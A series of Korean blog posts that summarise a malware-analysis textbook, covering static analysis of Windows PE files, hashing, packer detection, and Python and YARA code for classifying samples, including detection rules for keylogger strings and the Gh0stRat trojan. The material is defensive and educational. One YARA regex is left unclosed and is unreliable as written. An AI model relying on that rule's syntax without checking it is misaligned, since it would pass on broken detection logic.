본 게시글은 책 <악성코드 분석 시작하기> 의 내용을 정리한 글 입니다.

 

악성코드 분석 시작하기 : 네이버 도서

네이버 도서 상세정보를 제공합니다.

search.shopping.naver.com

1.7 악성코드 비교와 분류

- 의심 바이너리를 이전 분석 샘플 또는 공개, 사설 저장소에 저장된 샘플과 비교하면 악성코드 군, 악성코드의 특징, 이전 분석 샘플과의 유사성을 파악할 수 있음

- 악성 코드 제작자는 빈번하게 악성코드의 미세한 부분을 변경해 해시 값을 완전히 변경하기 때문에 암호 해시(MD5/SAH1/SHA256)를 통한 분류는 유사한 샘플을 식별하는데 도움이 되지 않음

퍼지 해싱을 이용한 악성코드 분류

- 퍼지 해싱 (Fuzz Hashing)은 파일 유사도를 비교하는 방법

> ssdeep을 이용해 샘플에 대한 퍼지 해시를 생성할 수 있으며, 샘플 간의 유사성 비율을 파악하는 데 도움을 줌

> 서로 다른 MD5 해시 값을 가진 실행 파일의 유사도 비교

> ssdeep의 상세 일치 모드 (-p 옵션)을 사용해 유사도를 알 수 있음

※ b 옵션 : 명령 출력 결과에 파일 이름만 표시하고, 모든 경로 정보는 생략하는 옵션

※ 샘플 3개 중에서 2개의 샘플이 68%의 유사성을 가짐

- 재귀 모드 (-r)를 사용해 디렉터리와 악성코드 샘플을 포함한 하위 디렉터리에서 ssdeep 실행 가능

※ l 옵션 : 파일 이름에 상대 경로 사용

※ a 옵션 : 점수에 관계없이 모두 표시

> 의심 바이너리를 파일 해시 목록과 비교 가능

# 모든 바이너리의 ssdeep 해시는 all_hashes.txt로 리다이렉션
ssdeep * > all_hashes.txt

# [의심 바이너리]는  all_hashes.txt 파일에 있는 모든 해시와 비교
ssdeep -m all_hashes.txt [의심 바이너리]

 

> python에서는 python-ssdeep 라이브러리를 사용해 퍼지 해시 계산 가능

import ssdeep
import sys

if len(sys.argv) != 3:
    print("Usage: python3 fuzzy_hashing_test.py <file1> <file2>")
    sys.exit(1)

# 파일 해시 생성
hash1 = ssdeep.hash_from_file(sys.argv[1])
print("Hash 1:", hash1)

hash2 = ssdeep.hash_from_file(sys.argv[2])
print("Hash 2:", hash2)

# 유사도 비교
similarity = ssdeep.compare(hash1, hash2)
print("Similarity: {}%".format(similarity))

임포트 해시를 이용한 악성코드 분류

- 임포트 해싱 (Import Hashing)은 연관성 있는 샘플과 동일한 공격자 그룹에서 사용한 샘플을 식별하는 데 사용

> 임포트 해시 (Import Hash 또는 imphash) : 실행 파일에 있는 라이브러리/임포트 함수 (API) 명과 특유의 순서를 바탕으로 계산한 해시 값

> 동일한 소스와 동일한 방식으로 컴파일할 경우, 동일한 imphash 값을 갖는 경향이 있음

> pestudio의 imphash 확인 가능

※ 임포트 해싱 관련 참고 링크 : https://cloud.google.com/blog/topics/threat-intelligence/tracking-malware-import-hashing/?hl=en

- python에서는 pefile 모듈을 사용해 임포트 해시 계산 가능

import pefile
import sys

pe = pefile.PE(sys.argv[1])
print(pe.get_imphash())

- 임포트 API와 퍼지 해싱 기술 (Impfuzzy)을 사용해 악성코드 샘플을 분류하는 방법도 있음

- 동일한 imphash를 가진 파일이 반드시 동일한 위협 그룹으로부터 만들어졌다는 것을 의미하지 않음

섹션 해시를 이용한 악성코드 분류

- 임포트 해시와 유사하게 섹션 해시 (Section Hash)도 사용 가능

> pestudio에서 각 센션의 해시 (SHA256) 확인 가능

- python에서는 pefile 모듈을 사용해 섹션 해시 계산 가능

import pefile
import sys

pe = pefile.PE(sys.argv[1])

for section in pe.sections:
    print(f"section name : {section.Name.decode('utf-8')}, section hash(md5) : {section.get_hash_md5()}")

- 악성코드 샘플을 분석할 때 해당 파일의 임포트 해시(Imphash)와 섹션 해시를 생성하고 저장하는 것이 좋음 

> 새로운 샘플을 발견하면 유사점을 판단하고자 해시 비교 가능

YARA를 이용한 악성코드 분류

- 바이너리에 나타나는 고유 문자열과 바이너리 구분자를 기준으로 악성코드를 분류

- YARA악성코드를 식별하고 분류하는 강력하는 도구

> 악성코드 샘플에 포함된 텍스트 또는 바이너리 정보를 기반해 YARA 규칙 (Rule) 생성

> 규칙은 로직을 결정하는 문자열Boolean 표현식의 집합으로 구성

> 규칙을 작성하면 YARA 유틸리티 또는 yara-python을 사용해 작성한 도구로 파일을 스캐닝할 때 해당 규칙을 이용 가능

※ YARA 규칙 작성에 대한 상세 정보 문서 참고 : https://yara.readthedocs.io/en/v3.3.0/gettingstarted.html

 

- YARA 규칙 기초 문법

> ~.yara 파일 생성 후 다음 규칙 작성

rule suspicious_strings
{
strings:
   $a = "Synflooding"
   $b = "Portscanner"
   $c = "Keylogger"
condition:
   ($a or $b or $c)
}

 

구분 설명
규칙 식별자 (Rule Identifier) - 규칙을 설명하는 이름(=suspicious_strings)
- 영문자, 숫자, 밑줄을 포함할 수 있음
> 단, 첫 번째 문자로 숫자를 사용할 수 없음
- 대소문자를 구분하고 128자 초과 불가
문자열 정의 (String Definition) - 규칙의 일부인 문자열 (텍스트, 16진수 또는 정규 표현식)이 정의되는 섹션
> 규칙이 문자열에 의존하지 않을 경우 생략 가능
- 각 문자열은 연속된 영문자, 숫자, 밑줄이 뒤따르는 $ 문자로 구성된 식별자(변수)를 가짐(=$a, $b, $c)
- 해당 변수들을 조건 섹션에서 사용
조건 섹션 (Condition Section) - 규칙의 로직이 위치하는 곳
- 규칙이 일치하거나 일치하지 않는 조건을 지정하는 Boolean 표현식을 포함해야 함

- yara 유틸리티를 사용해 YARA 규칙에 따라 파일을 스캔 (ASCII 문자열, 대소문자 구분)

> ASCII와 유니코드 (와이드 문자) 문자열을 탐지하는 규칙의 경우 문자열 옆에 asciiwide 수식어 지정

> nocase 수식어는 대소문자를 구분하지 않는 매칭

 

- PE 파일 탐색 YARA Rule

> “$mz at 0”은 YARA가 파일이 시작되는 곳에서 4D 5A 시그니처를 찾음 :  PE 파일만 탐색

※ 텍스트 문자열은 "", 16진수 문자열은 중괄호 {}로 묶어야 함

rule PE_Files
{
strings:
   $mz = {4D 5A}
condition:
   $mz at 0
}

 

- 정규 표현식을 사용한 URL 형식의 문자열을 포함한 실행 파일 탐색 YARA rule

rule URL_Detect
{
strings:
   $url_pattern = /http:\/\/[a-zA-Z0-9\.-]+\.(com|net|org)/
condition:
   $url_pattern
}

 

- PE 헤더 이후에 특정 바이너리 패턴 일치 YARA rule

> 16진수 문자열이 파일의 1,024바이트 이후에 오프셋 (PE 헤더를 건너뜀)에서 발견할 경우 동작

> filesize는 파일의 끝을 의미

rule Embedded_Office_Document
{
strings:
   $mz = {4D 5A}
   $a = { D0 CF 11 E0 A1 B1 1A E1 }
condition:
   ($mz at 0) and $a in (1024..filesize)
}

 

- 패커를 탐지하는 데에도 YARA rule

> 패커 탐지 도구 Exeinfo PE는 userdb.txt라 불리는 일반 텍스트 파일에 저장된 시그니처를 사용

> Exeinfo PE가 UPX 패커를 탐지할 때 사용한 시그니처 포맷의 예

※ ep_only = true : Exeinfo PE가 엔트리 포인트 (코드가 실행을 시작하는 위치)의 프로그램 주소에서만 시그니처를 확인해야 함을 의미

[UPX 2.90 (LZMA)]
signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90
ep_only = true

 

- 새로운 버전의 YARA는 PE 파일 포맷의 속성과 기능을 사용해 PE 파일을 위한 규칙을 생성할 수 있는 PE 모듈 지원

> 다음 방법을 사용하면 Exeinfo PE의 userdb.txt에 있는 모든 패커 시그니처를 YARA 규칙으로 변환 가능

※ UserDB.txt(PEiD 도구에서 사용)를 YARA 규칙으로 변환하는 Python 코드 참고 : https://github.com/DidierStevens/DidierStevensSuite/blob/master/peid-userdb-to-yara-rules.py

import "pe"
rule UPX_290_LZMA
{
meta :
   description = "detect upx packer 2.90"
   ref = "userdb.txt file from the Exeinfo PE"
strings:
   $a = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
condition:
   $a at pe.entry_point
}

 

- 모든 파일의 패턴을 감지하는 데 사용 가능

rule Gh0stRat
{
	meta
		description = "Gh0stRat_communications"
	
	strings:
		$gst1 = { 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
		$gst2 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? C6 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
		$gst3 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? C6 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
		$gst4 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? E8 }
		$any_variant = /.{5,16}\x00\x00..\x00\x00\x78\x9c
		
	condition:
		any of (gst*) or ($any_variant)
}

본 게시글은 책 <악성코드 분석 시작하기> 의 내용을 정리한 글 입니다.

 

악성코드 분석 시작하기 : 네이버 도서

네이버 도서 상세정보를 제공합니다.

search.shopping.naver.com

1.6 PE 헤더 정보 조사

- 윈도우 실행 파일은 PE/COFF (Portable Executable/Common Object File Format)를 반드시 준수해야 함

 

- PE 파일 포맷

> 윈도우 실행 파일(.exe, .dll, .sys, .ocx, drv)이 사용

> 운영 시스템이 메모리로 로딩할 때 필요한 정보를 가진 일련의 구조체와 하위 컴포넌트

 

- 실행 파일을 컴파일하면 해당 구조체를 설명하는 헤더 (PE 헤더)를 포함

> 실행 파일이 메모리에서 실행될 위치

> 실행 파일의 시작 위치

> 애플리케이션이 의존하는 라이브러리/함수 목록

> 바이너리가 사용하는 리소스와 같은 정보가 포함

 

- PE 파일 구조체를 이해하기 위한 유용한 자료 링크 
> Win32 PE 파일 포맷에 대한 심층적인 조사 - 파트 1 : https://www.delphibasics.info/home/delphibasicsarticles/anin-depthlookintothewin32portableexecutablefileformat-part1
> Win32 PE 파일 포맷에 대한 심층적인 조사 - 파트 2 : https://www.delphibasics.info/home/delphibasicsarticles/anin-depthlookintothewin32portableexecutablefileformat-part2
> PE 헤더와 구조 : https://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
> PE101 - 윈도우 실행 파일 공략 : https://github.com/corkami/pics/blob/master/binary/pe101/pe101ko.pdf

 

- PE 구조와 그 하위 컴포넌트를 검사하고 수정할 수 있는 몇 가지 도구 
> CFF Explorer : https://ntcore.com/explorer-suite/

> PE Internals : https://www.andreybazhan.com/pe-internals.html

> PPEE(puppy) : https://www.mzrst.com/
> PEBrowse Professional : https://download.cnet.com/developer/smidgeonsoft/i-6276008

파일 의존성과 임포트 조사

- 악성코드는 파일, 레지스트리, 네트워크 등과 상호작용하며, 이를 위해 운영 시스템에서 제공하는 함수에 많이 의존

- 윈도우는 API로 불리는 함수를 임포트하며, 상호작용을 위해 동적 링크 라이브러리 (DLL, Dynamic Link Library) 파일이 필요

> DLL에서 여러 함수를 임포트 (Import) 하거나 호출

> 악성코드가 의존하고 있는 DLL과 그런 DLL이 임포트하고 있는 API 함수를 조사하면 악성코드의 기능과 성능, 실행 중 예상할 수 있는 기능을 알 수 있음

 

- 윈도우 실행 파일의 파일 의존성은 PE 파일 구조의 임포트 테이블에 저장

> pestudiolibraries 버튼을 클릭하면 의존성을 가진 모든 DLL 파일과 각 DLL에서 임포트한 함수의 수를 보여줌

> imports 버튼을 클릭하면 DLL에서 임포트한 API를 표시

- 때때로 악성코드는 LoadLibrary() 또는 LdrLoadDLL()과 같은 API를 호출해서 실행 중 명시적으로 DLL 로드 가능

- 또는, GetProcAddress() API를 사용해 함수 주소를 확인할 수 있음

> 실행 중 로드한 DLL의 정보는 PE 파일의 임포트 테이블에 나타나지 않음

> 윈도우 API 함수와 그 함수의 기능 정보 참고 : https://learn.microsoft.com/ko-kr/search/

 

- Python을 이용해 DLL 파일과 임포트한 함수를 나열할 수 있으며, pefile 모듈을 사용

import pefile
import sys

# 명령행 인자 체크
if len(sys.argv) != 2:
    print("Usage: python script.py <filename>")
    sys.exit(1)

mal_file = sys.argv[1]


def enum_import(mal_file):
    try:
        # PE 파일 로드
        pe = pefile.PE(mal_file)
        
        # Import Table이 존재하는지 확인
        if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
            print(f"[+] {mal_file} Import Table Found")
            for entry in pe.DIRECTORY_ENTRY_IMPORT:
                print(f"DLL : {entry.dll.decode('utf-8')} ({len(entry.imports)})")
                for i, imp in enumerate(entry.imports):
                    if imp.name is not None:
                        print(f"  {i + 1}. {imp.name.decode('utf-8')}")
                    else:
                        print(f"  {i + 1}. Ordinal: {imp.ordinal}")
                print()
        else:
            print("[-] No Import Table Found")

    except FileNotFoundError:
        print("[-] File not found.")
    except pefile.PEFormatError:
        print("[-] Invalid PE file.")
    except Exception as e:
        print(f"[-] Error: {e}")


if __name__ == '__main__':
    enum_import(mal_file)

익스포트 (Export) 조사

- 실행 파일과 DLL은 다른 프로그램에서 사용할 수 있는 함수를 익스포트 (Export)할 수 있음

> 일반적으로 DLL은 실행 파일이 임포트할 수 있는 함수 (익스포트)를 노출

> DLL은 단독으로 실행할 수 없기 때문에 호스트 프로세스를 통해 실행

> 공격자는 악의적인 함수를 익스포트하는 DLL을 자주 생성

※ 익스포트 함수명이 매번 악성코드의 기능에 대한 힌트를 주는 것은 아님

 

- pestudio의 exports 메뉴에서 확인 가능

> Python 예시 참조

import pefile
import sys

# 명령행 인자 체크
if len(sys.argv) != 2:
    print("Usage: python script.py <filename>")
    sys.exit(1)

mal_file = sys.argv[1]


def enum_import(mal_file):
    try:
        # PE 파일 로드
        pe = pefile.PE(mal_file)
        
        # Import Table이 존재하는지 확인
        if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
            print(f"[+] {mal_file} Import Table Found")
            for entry in pe.DIRECTORY_ENTRY_IMPORT:
                print(f"DLL : {entry.dll.decode('utf-8')} ({len(entry.imports)})")
                for i, imp in enumerate(entry.imports):
                    if imp.name is not None:
                        print(f"  {i + 1}. {imp.name.decode('utf-8')}")
                    else:
                        print(f"  {i + 1}. Ordinal: {imp.ordinal}")
                print()
        else:
            print("[-] No Import Table Found")
        
        # Export Table이 존재하는지 확인
        if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
            print(f"[+] {mal_file} Export Table Found")
            for entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
                if entry.name is not None:
                    print(f"DLL : {entry.name.decode('utf-8')}")
                else:
                    print(f"Ordinal : {entry.ordinal}")
        else:
            print("[-] No Export Table Found")

    except FileNotFoundError:
        print("[-] File not found.")
    except pefile.PEFormatError:
        print("[-] Invalid PE file.")
    except Exception as e:
        print(f"[-] Error: {e}")


if __name__ == '__main__':
    enum_import(mal_file)

PE 섹션 테이블과 섹션 조사

- PE 파일의 실제 내용은 섹션 (Section)으로 구분

> 섹션은 코드 (Code)데이터 (Data)를 나타내고, 읽기/쓰기와 같은 메모리 내부 속성을 가짐

구분 설명
코드 - 프로세스가 실행할 명령어를 포함
데이터 - 읽기/쓰기 프로그램 데이터 (전역변수)
- 임포트/익스포트 테이블
- 리소스 등

 

- 각 섹션은 해당 섹션의 목적을 나타내는 고유한 이름을 갖고 있음

> 실행 파일을 컴파일하는 동안 컴파일러는 일관된 섹션 이름을 추가

> PE 파일의 공통 섹션

섹션명 설명
.text 또는 CODE - 실행 코드를 포함
.data 또는 DATA - 읽기/쓰기 데이터와 전역 변수 포함
.rdata - 읽기 전용 데이터를 포함. 때에 따라 임포틑 또는 익스포트 정보 포함
.idata - 존재한다면 임포트 테이블 포함. 존재하지 않으면, .rdata 섹션에서 탐색 가능
.edata - 존재한다면 익스포트 정보 포함. 존재하지 않으면, .rdata 섹션에서 탐색 가능
.rsrc - 실행 파일에서 사용하는 아이콘, 대화창, 메뉴, 문자열 등의 리소스

> 섹션명은 사람을 위한 것으로 운영 시스템에서는 사용하지 않으며, 공격자 또는 난독화 소프트웨어가 섹션명을 변경할 수 있음

 

- 섹션에 대한 정보 (섹션명, 섹션의 위치, 특징)는 PE 헤더에 있는 섹션 테이블 (Section Table)에 존재

> pestudio의 sections 메뉴에서 섹션 테이블에서 추출한 섹션 정보와 그 속성 (읽기/쓰기)을 표시

> 섹션 테이블 필드

필드 설명
name - 섹션 이름
virtual-size - 메모리에 로딩할 때 섹션의 크기 
virtual-address - 섹션을 메모리 어디에서 찾을 수 있는지 나타내는 상대적 가상 주소(실행 파일 베이스 주소에서 얼마나 떨어져 있는지를 나타내는 오프셋)
raw-size - 해당 섹션이 디스크에 존재할 때의 크기
raw-data - 파일에서 해당 섹션을 찾을 수 있는 오프셋 
entry-point - 코드가 실행을 시작하는 RVA(Relatve Virtual Address, 상대적 가상 주소). 일반적으로 .text 섹션에 존재

> 만약 컴파일러에서 생성한 일반적인 섹션명 (.text, .data 등)이 아니라면 의심

> 일반적으로 raw-size와 virtual-size의 크기는 거의 같아야 함

> 만약 raw-size ≒ 0인데, virtual-size가 더 큰 공간을 갖고 있다면, 이는 패킹한 바이너리일 수 있음 (패킹한 바이너리를 실행할 때 패커의 압축 해제 루틴이 런타임 중 압축 해제한 데이터 또는 명령어를 메모리로 복사하기 때문)

컴파일 타임스탬프 조사

- PE 헤더는 바이너리가 컴파일될 때 생성되는 정보를 포함

- 타임스탬프 (Timestamp) 필드를 조사하면 악성코드가 언제 처음 생성됐는지 알 수 있음

> 공격 활동의 타임라인을 작성할 때 도움을 줌

> 공격자가 실제 타임스탬프를 알 수 없도록 수정해 분석 방해 가능

> pestudio의 file-header 메뉴에 “compiler-stamp” 항목에서 확인 가능

PE 리소스 조사

- 아이콘, 메뉴, 대화장사, 문자열과 같이 실행 파일에 필요한 리소스는 실행 파일의 리소스 섹션 (.rsrc)에 저장

> 공격자는 때때로 추가 바이너리, 미끼 문서, 설정 데이터 같은 정보를 리소스 섹션에 저장

> 리소스 해커 (Resource Hacker)는 의심 바이너리에서 리소스를 조사하고 확인 후 추출할 수 있는 도구

본 게시글은 책 <악성코드 분석 시작하기> 의 내용을 정리한 글 입니다.

 

악성코드 분석 시작하기 : 네이버 도서

네이버 도서 상세정보를 제공합니다.

search.shopping.naver.com

1.4 문자열 추출

- 문자열 (String) : 파일에 포함된 출력 가능한 ASCII와 유니코드의 순차적인 문자 집합

 

- 문자열 추출은 프로그램 기능과 의심 바이너리 관련 지표에 대한 단서를 제공

> 파일명, URL, 도메인명, IP 주소, 공격 명령어, 제시트리 키 등을 포함

> 악성코드가 파일을 생성한다면 해당 파일명이 바이너리 안에 문자열로 저장

> 공격자가 통제하는 도메인명을 악성코드가 호출한다면 해당 도메인명이 문자열로 저장

> 파일의 목적과 기능에 대한 명확한 단서는 아니지만, 악성코드가 할 수 있는 일에 대한 힌트를 제공

 

- 리눅스에서는 strings 유틸리티를 사용해 문자열을 추출할 수 있음 (기본적으로 최소 4문자 이상인 ASCII 문자열 추출)

> -a 옵션 : 전체파일에서 문자열 추출

> -el 옵션 : 유니코드 추출

> 바이너리에서 유용한 정보를 얻으려면 때때로 ASCII와 유니코드 문자열 모두를 추출해야 함

- 윈도우에서는 ASCII와 유니코드 문자열 모두를 표현해 주는 pestudio를 사용

> pestudio는 훌륭한 PE 분석 도구로 의심 바이너리의 악성코드 초기 점검이 가능

> PE 실행 파일에서 유용한 정보의 여러 힌트를 얻을 수 있음

- FLOSS (FireEye Labs Obfuscated String Solver)는 악성코드에서 난독화된 문자열을 자동을 추출하고 식별하고자 디자인된 도구

> 악성코드는 탐지를 회피하고자 문자열 난독화(String Obfuscation) 기법을 사용

> 난독화가 적용된 경우 strings 유틸리티를 이용해 문자열 추출 불가

1.5 파일 난독화 파악

- 악성코드 제작자는 악성코드 바이너리를 일반적으로 난독화하거나 보호

> 난독화 기술은 바이너리를 탐지/분석하기 어렵게 하기 때문에 추출할 수 있는 문자열이 거의 없음

> 악성코드 제작자는 보안 제품의 탐지 회피 및 분석을 방해하고자 패커 (Packer)크립터 (Cryptor) 같은 프로그램을 자주 사용

 

- 패커 (Packer)

> 실행 파일을 입력받아 실행 파일의 내용을 압축해 난독화하는 프로그램

> 난독화한 파일은 새로운 실팽 파일의 구조체에 저장

> 패킹 (Packing)한 프로그램을 실행하면 압축해제 루틴이 실행되고 메모리에 원본 바이너리를 추출한 후 실행

 

- 크립터 (Cryptor)

> 패커와 유사하나, 실행 파일의 내용을 난독화하고자 압축 대신 암호화를 사용

> 암호화한 내용은 새로운 실행 파일에 저장

> 암호화한 프로그램을 실행하면 실행할 때 복호화 루틴을 실행해 원본 바이너리를 메모리에 추출한 후 실행

 

- UPX 패커 적용

> UPX는 압축 기법을 사용하기 때문에 패킹한 바이너리가 원본 바이너리보다 크기가 작음

> 패킹한 바이너리에 strings 명령을 실행하면 난독화한 문자열을 보여 주고 가치 있는 정보를 노출하지 않음 -> 난독화하는 이유

- 윈도우에서는 Exeinfo PE를 이용해 파일 난독화 탐지

> Exeinfo PE : 윈도우에서 패커를 탐지하는 도구

> 패킹된 파일을 Exeinfo PE에 로딩하면 패킹 정보와 패킹 해제에 사용할 명령어에 대한 힌트도 제공

> 정상적인 실행 파일 대부분은 파일 내용을 난독화하지 않기 때문에 패킹을 했다면 악성코드일 확률이 매우 높음

- 패커, 크립터 탐지를 도울 수 있는 다른 CLI와 GUI 도구 
> TrID
> TRIDNet
> Detect it Easy
> RDG Packer Detector

> packerid.py

> PEiD

본 게시글은 책 <악성코드 분석 시작하기> 의 내용을 정리한 글 입니다.

 

악성코드 분석 시작하기 : 네이버 도서

네이버 도서 상세정보를 제공합니다.

search.shopping.naver.com

1. 정적분석 (Static Analysis)

- 의심스러운 파일을 실행하지 않고 분석하는 기법
> 악성코드 목표 아키텍처 식별하기 : 파일 유형 파악
> 악성코드 식별하기 : 해시 추출
> 백신 엔진을 이용해 의심스러운 바이너리 스캔하기 : 다중 백신 스캐닝
> 파일과 관련된 문자열, 함수, 메타데이터 추출하기 : 문자열 추출
> 분석을 방해하고자 사용한 난독화 기술 식별하기 : 파일 난독화 파악
> 윈도우 실행 파일 정적 분석 : PE 헤더 정보 조사
> 악성코드 샘플들을 비교하고 분류하기 : 퍼지 해싱, 임포트 해시, 섹션 해시, YARA를 이용한 분류

 

1.1 파일 유형 파악

- 바이너리 파일 유형을 구분하는 것은 악성코드의 목표 운영 시스템(윈도우, 리눅스 등)아키텍처(32비트 또는 64비트 플랙폼)를 식별하는데 도움이 됨

 

- 파일 확장자에만 의존하는 것은 권장하지 않음

> 파일 유형의 유일한 식별자가 아님

> 파일 확장자를 수정하거나 숨기는 등의 속임수를 사용

> 파일 시그니처를 이용해 파일 유형 구분

 

- 파일 시그니처 (File Signature) : 파일 헤더에 작성되는 독특한 배열 순서

> 윈도우 실행 파일 또는 PE 파일 (.with, .exe, .dll, .com, .drv, .sys 등)은 파일의 첫 바이트에 MZ 또는 16진수 4D 5A 파일 시그니처를 가짐

 

- 헥사 편집기 (Hex Editor, HxD)로 파일을 열어 파일 시그니처를 찾을 수 있음

- 리눅스에서는 xxd 명령으로 파일 시그니처를, file 유틸리티파일을 식별할 수 있음

- 파이썬 python-magic 모듈을 사용해 파일 유형 구분 가능

1.2 악성코드 식별

- 식별 (Fingerprinting) : 의심스러운 바이너리의 내용을 바탕으로 암호 해시 (Hash) 값을 생성하는 활동

> MD5, SHA1, SHA256 등의 암호 해시 알고리즘은 파일 해시를 생성할 때 사실상 표준

 

- 해시는 악성코드를 식별하는 유일한 식별자

> 파일명 기준으로 악성코드 샘플을 식별하는 것은 효과적이지 않음

> 파일 내용에 기반해 생성된 암호 해시는 식별에 효과적

> 동적 분석 과정에서 악성코드를 실행하면 자신을 다른 위치에 복사하거나 다른 악성코드를 드롭하는 경우가 있음 - 샘플의 암호 해시는 원본 샘플과 동일한지 아닌지를 식별 가능

> 해시를 바이러스토탈 (Virus Total)과 같은 다중 백신 스캐닝 서비스의 데이터베이스를 검색하여 이전에 탐지된 적이 있는지 판단 가능

 

- 리눅스에서는 md5sum. sha256sum, sha1sum 도구를 이용해 파일 해시 생성 가능

- 파이썬 hashlib 모듈을 사용해 해시 생성 가능

1.3 다중 백신 스캐닝

- 의심스러운 바이너리를 다중 백신 스캐너로 스캐닝하면 해당 파일에 악성코드 시그니처가 존재하는지 확인할 수 있음

> 시그니처를 통해 파일과 그 기능에 대한 추가 정보를 제공받을 수 있음

> 분석 시간을 줄여주는 이점

 

- 바이러스토탈 (Virus Total)

> 유명한 웹 기반 악성코드 스캐닝 서비스

> 파일을 업로드하면 다양한 백신 스캐너로 스캐닝하고 실시간 스캔 결과 제공 (일반 사용자일 경우 스캔량 제한 존재)

> 해시, URL, 도메인 또는 IP 주소를 이용해 기존 데이터베이스 검색 가능

> 바이러스토탈 그래프 기능을 활용해 등록한 파일, 도메인, IP 주소, URL과 같은 관련 지표 사이의 관계를 시각화할 수 있음 (로그인 필요)

- Python과 바이러스토탈 API를 활용한 해시 값 질의

> 공개 API를 통해 스크립트를 작성할 수 있는 기능 제공 (API 발급 필요 및 일반 사용자일 경우 스캔량 제한 존재)

> 파일 등록 자동화, 파일/URL 스캔 리포트 검색, 도메인/IP 리포트 검색 제공

 

- 백신 스캐너로 바이너리를 스캔할 때 주의 사항

> 의심 바이너리가 백신 스캐너로 탐지되지 않았다고 해서 안전하다는 것을 의미하는 것은 아님

> 공개 사이트에 바이너리를 업로드하면 등록한 바이너리는 서드파티와 벤더에 공유될 수 있으므로 민감하거나 개인적인 정보가 포함된 경우 스캐닝 서비스에 등록하는 것을 지양

> 공격자들이 검색 기능을 통해 탐지 여부를 확인하여 전략을 변경하거나 탐지를 회피할 수 있음

본 게시글은 책 <악성코드 분석 시작하기> 의 내용을 정리한 글 입니다.

 

악성코드 분석 시작하기 : 네이버 도서

네이버 도서 상세정보를 제공합니다.

search.shopping.naver.com

1. 악성코드란

